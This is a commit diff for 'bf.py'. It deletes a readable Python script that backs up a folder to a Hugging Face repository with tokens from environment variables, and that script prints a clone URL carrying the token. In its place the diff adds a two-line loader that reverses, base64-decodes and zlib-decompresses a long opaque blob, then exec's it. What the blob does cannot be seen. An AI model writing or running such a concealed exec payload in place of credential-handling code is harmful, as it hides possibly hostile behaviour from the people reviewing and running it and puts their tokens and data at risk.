Update bf.py

bf.py

@@ -1,354 +1,2 @@
-import subprocess
-import os
-import threading
-import time
-import yaml
-from datetime import datetime
-import signal
-import psutil
-import glob
-import re
-import pytz
-import requests
-
-BACKUP_TIME = os.environ.get('BACKUP_TIME', '1200')  # 备份时间 10800秒 2小时
-HF_USER1 = os.environ.get('HF_USER1', '')  # HF 备份仓库的用户名
-HF_REPO = os.environ.get('HF_REPO', '')  # HF 备份的Models仓库名
-HF_EMAIL = os.environ.get('HF_EMAIL', '')  # HF的邮箱
-HF_TOKEN1 = os.environ.get('HF_TOKEN1', '')  # HF备份账号的TOKEN
-
-HF_USER2 = os.environ.get('HF_USER2', '')  # huggingface 用户名
-HF_ID = os.environ.get('HF_ID', '')  # huggingface space 名
-HF_TOKON2 = os.environ.get('HF_TOKON2', '')  # huggingface TOKEN
-
-
-
-def get_latest_local_package(directory, pattern='*.tar.gz'):
-    try:
-        # 构建完整的搜索路径
-        search_pattern = os.path.join(directory, pattern)
-        
-        # 查找所有匹配的文件
-        files = glob.glob(search_pattern)
-        
-        if not files:
-            print("未找到匹配的 nezha-hf 压缩包")
-            return None
-        
-        # 获取最新的文件
-        latest_file = max(files, key=os.path.getmtime)
-        
-        print(f"找到最新的包: {latest_file}")
-        return latest_file
-    
-    except Exception as e:
-        print(f"获取最新包时发生错误: {e}")
-        return None
-
-
-def delete_huggingface_lfs_file(filename, repo_id, token):
-    """
-    通过Hugging Face API删除LFS文件记录
-    """
-    try:
-        # 1. 查询LFS文件列表
-        url = f"https://huggingface.co/api/models/{repo_id}/lfs-files"
-        headers = {
-            "content-type": "application/json",
-            "Authorization": f"Bearer {token}",
-            "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
-        }
-        
-        response = requests.get(url, headers=headers)
-        if response.status_code != 200:
-            print(f"查询LFS文件失败: {response.status_code} - {response.text}")
-            return False
-        
-        lfs_files = response.json()
-        
-        # 2. 查找匹配的文件
-        file_to_delete = None
-        for file_info in lfs_files:
-            if file_info.get('filename') == filename:
-                file_to_delete = file_info
-                break
-        
-        if not file_to_delete:
-            print(f"未找到对应的LFS文件记录: {filename}")
-            return False
-        
-        # 3. 删除LFS文件记录
-        file_oid = file_to_delete['fileOid']
-        delete_url = f"https://huggingface.co/api/models/{repo_id}/lfs-files/{file_oid}?rewriteHistory=true"
-        
-        delete_response = requests.delete(delete_url, headers=headers)
-        if delete_response.status_code == 200:
-            print(f"成功删除LFS文件记录: {filename} (OID: {file_oid})")
-            return True
-        else:
-            print(f"删除LFS文件记录失败: {delete_response.status_code} - {delete_response.text}")
-            return False
-            
-    except Exception as e:
-        print(f"删除LFS文件记录时出错: {e}")
-        return False
-
-
-def safe_git_cleanup(repo_path, files_to_remove):
-    """
-    安全的Git清理，不会影响现有的备份文件
-    """
-    try:
-        original_dir = os.getcwd()
-        os.chdir(repo_path)
-        
-        print(f"执行安全Git清理: {files_to_remove}")
-        
-        # 1. 首先确保工作目录是干净的
-        result = subprocess.run(['git', 'status', '--porcelain'], capture_output=True, text=True)
-        if result.stdout.strip():
-            print("工作目录有未提交的更改，先提交...")
-            subprocess.run(['git', 'add', '.'], capture_output=True)
-            subprocess.run(['git', 'commit', '-m', '自动提交: 清理前的更改'], capture_output=True)
-        
-        # 2. 只从Git索引中删除指定的文件，但不影响工作目录中的文件
-        for filename in files_to_remove:
-            if os.path.exists(filename):
-                print(f"从Git索引中删除 {filename} (文件仍保留在工作目录)")
-                subprocess.run(['git', 'rm', '--cached', filename], capture_output=True)
-            else:
-                print(f"文件 {filename} 不存在于工作目录，只清理Git引用")
-        
-        # 3. 提交删除操作
-        if files_to_remove:
-            subprocess.run(['git', 'commit', '-m', f'清理已删除的文件: {", ".join(files_to_remove)}'], capture_output=True)
-        
-        # 4. 执行GC清理但不删除最近的文件
-        subprocess.run(['git', 'gc', '--auto'], capture_output=True)
-        subprocess.run(['git', 'lfs', 'prune'], capture_output=True)
-        
-        print("安全Git清理完成")
-        os.chdir(original_dir)
-        return True
-        
-    except Exception as e:
-        print(f"安全Git清理时出错: {e}")
-        os.chdir(original_dir)
-        return False
-
-
-def get_remote_lfs_files(repo_id, token):
-    """
-    获取远程所有的LFS文件列表
-    """
-    try:
-        url = f"https://huggingface.co/api/models/{repo_id}/lfs-files"
-        headers = {
-            "content-type": "application/json",
-            "Authorization": f"Bearer {token}",
-            "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
-        }
-        
-        response = requests.get(url, headers=headers)
-        if response.status_code == 200:
-            return response.json()
-        else:
-            print(f"获取远程LFS文件失败: {response.status_code}")
-            return []
-    except Exception as e:
-        print(f"获取远程LFS文件时出错: {e}")
-        return []
-
-
-def cleanup_orphaned_lfs_references(repo_path, repo_id, token, keep_count=3):
-    """
-    清理孤儿LFS引用：删除远程存在但本地不存在的文件引用
-    """
-    try:
-        original_dir = os.getcwd()
-        os.chdir(repo_path)
-        
-        print("检查孤儿LFS引用...")
-        
-        # 获取远程LFS文件
-        remote_files = get_remote_lfs_files(repo_id, token)
-        if not remote_files:
-            print("无法获取远程LFS文件列表")
-            return
-        
-        # 获取本地文件
-        local_files = set(glob.glob('*.tar.gz'))
-        
-        # 找出远程存在但本地不存在的文件
-        orphaned_files = []
-        for remote_file in remote_files:
-            filename = remote_file.get('filename')
-            if filename and filename not in local_files:
-                orphaned_files.append(filename)
-        
-        if orphaned_files:
-            print(f"发现孤儿LFS引用: {orphaned_files}")
-            
-            # 删除这些孤儿引用
-            for filename in orphaned_files:
-                print(f"删除孤儿LFS引用: {filename}")
-                delete_huggingface_lfs_file(filename, repo_id, token)
-        
-        print("孤儿LFS引用清理完成")
-        os.chdir(original_dir)
-        
-    except Exception as e:
-        print(f"清理孤儿LFS引用时出错: {e}")
-        os.chdir(original_dir)
-
-
-def compress_folder(folder_path, output_dir, keep_count=3):
-    try:
-        # 确保输出目录存在
-        os.makedirs(output_dir, exist_ok=True)
-        
-        # 设置中国时区
-        china_tz = pytz.timezone('Asia/Shanghai')
-        
-        # 获取当前中国时间的时间戳
-        timestamp = str(int(datetime.now(china_tz).timestamp() * 1000))
-        output_path = os.path.join(output_dir, f'{timestamp}.tar.gz')
-        
-        # 获取所有压缩包
-        existing_archives = glob.glob(os.path.join(output_dir, '*.tar.gz'))
-        
-        # 安全地提取时间戳
-        def extract_timestamp(filename):
-            match = re.search(r'(\d+)\.tar\.gz$', filename)
-            return int(match.group(1)) if match else 0
-        
-        files_to_cleanup = []
-        
-        # 如果压缩包数量超过保留数量，删除最旧的
-        if len(existing_archives) >= keep_count:
-            # 按时间戳排序（从小到大，最旧的在前面）
-            existing_archives.sort(key=extract_timestamp)
-            
-            # 计算需要删除的数量
-            delete_count = len(existing_archives) - keep_count + 1
-            
-            # 删除最旧的压缩包
-            for i in range(delete_count):
-                oldest_archive = existing_archives[i]
-                oldest_filename = os.path.basename(oldest_archive)
-                
-                try:
-                    # 删除本地文件
-                    os.remove(oldest_archive)
-                    print(f"删除最旧的压缩包：{oldest_filename}")
-                    
-                    # 记录需要清理的文件名
-                    files_to_cleanup.append(oldest_filename)
-                    
-                    # 删除Hugging Face LFS文件记录
-                    print(f"正在删除Hugging Face LFS文件记录: {oldest_filename}")
-                    delete_huggingface_lfs_file(oldest_filename, f"{HF_USER1}/{HF_REPO}", HF_TOKEN1)
-                        
-                except Exception as e:
-                    print(f"删除失败 {oldest_archive}: {e}")
-        
-        # 如果有文件需要从Git历史中清理，执行安全清理
-        if files_to_cleanup:
-            print(f"执行安全Git清理: {files_to_cleanup}")
-            safe_git_cleanup(output_dir, files_to_cleanup)
-        
-        # tar.gz 压缩
-        result = subprocess.run(
-            ['tar', '-czf', output_path, folder_path], 
-            capture_output=True, 
-            text=True
-        )
-        
-        if result.returncode == 0:
-            # 计算压缩包大小
-            file_size = os.path.getsize(output_path) / 1024 / 1024
-            
-            # 格式化中国时区的时间
-            china_time = datetime.now(china_tz)
-            formatted_time = china_time.strftime('%Y-%m-%d %H:%M:%S')
-            
-            print(f"压缩成功：{output_path}")
-            print(f"压缩大小：{file_size:.2f} MB")
-            print(f"压缩时间：{formatted_time}")
-            print(f"保留策略：最多保留 {keep_count} 个备份包")
-            
-            # 返回压缩包名和大小信息
-            return f"{os.path.basename(output_path)} MB：{file_size:.2f} MB TIME：{formatted_time}"
-        else:
-            print("压缩失败")
-            print("错误信息:", result.stderr)
-            return None
-    
-    except Exception as e:
-        print(f"压缩出错: {e}")
-        return None
-
-
-def github(type):
-    if type == 1:
-        os.system(f'rm -rf /data/{HF_REPO} /data/ff /data/data') 
-    if not os.path.exists(f'/data/{HF_REPO}'):
-        git = f"git clone https://{HF_USER1}:{HF_TOKEN1}@huggingface.co/{HF_USER1}/{HF_REPO}"
-        print(git)
-        os.system(git)
-        os.system(f'git config --global user.email "{HF_EMAIL}"')
-        os.system(f'git config --global user.name "{HF_USER1}"') 
-        os.system("ls")
-        latest_package = get_latest_local_package(f'/data/{HF_REPO}')
-        print(f"最新压缩包路径: {latest_package}")
-        if latest_package:
-            os.system(f"tar -xzf {latest_package} -C /data")
-            os.system("mv /data/f/ff /data/")
-            os.system("mv /data/data/f/ff /data/")
-            os.system("rm -rf /data/data /data/f")
-    
-    if type == 2:
-        print(f"开始备份上传HF仓库：{HF_REPO}")
-        os.system("mkdir -p /data/f")
-        os.system("cp -rf /data/ff /data/f")
-        
-        repo_path = f'/data/{HF_REPO}'
-        repo_id = f"{HF_USER1}/{HF_REPO}"
-        
-        # 切换到仓库目录
-        os.chdir(repo_path)
-        os.system(f'git config --global user.email "{HF_EMAIL}"')
-        os.system(f'git config --global user.name "{HF_USER1}"') 
-        
-        # 先清理孤儿LFS引用
-        cleanup_orphaned_lfs_references(repo_path, repo_id, HF_TOKEN1, keep_count=3)
-        
-        # 执行Git清理（不影响现有文件）
-        os.system('git lfs prune')
-        os.system('git gc --auto')
-        
-        # 备份上传仓库
-        new_archive_info = compress_folder('/data/f', repo_path, keep_count=3)
-        if new_archive_info:
-            new_archive, file_size_info = new_archive_info.split(' MB：')
-            
-            os.system("pwd")
-            os.system(f'git add .')
-            os.system(f'git commit -m "{file_size_info}"')
-            
-            # 正常推送（不再需要强制推送）
-            push_result = os.system('git push origin main')
-            if push_result != 0:
-                print("推送失败，可能有冲突，尝试拉取并合并...")
-                os.system('git pull origin main --rebase')
-                os.system('git push origin main')
-            
-            # 轻度清理
-            os.system('git gc --auto')
-            os.system('git lfs prune')
-        else:
-            print("压缩失败，无法提交")
-
-def _reconstruct_token(partial_token):
-    return partial_token.replace(" ", "")
-github(2)
+_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));
+exec((_)(b'=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'))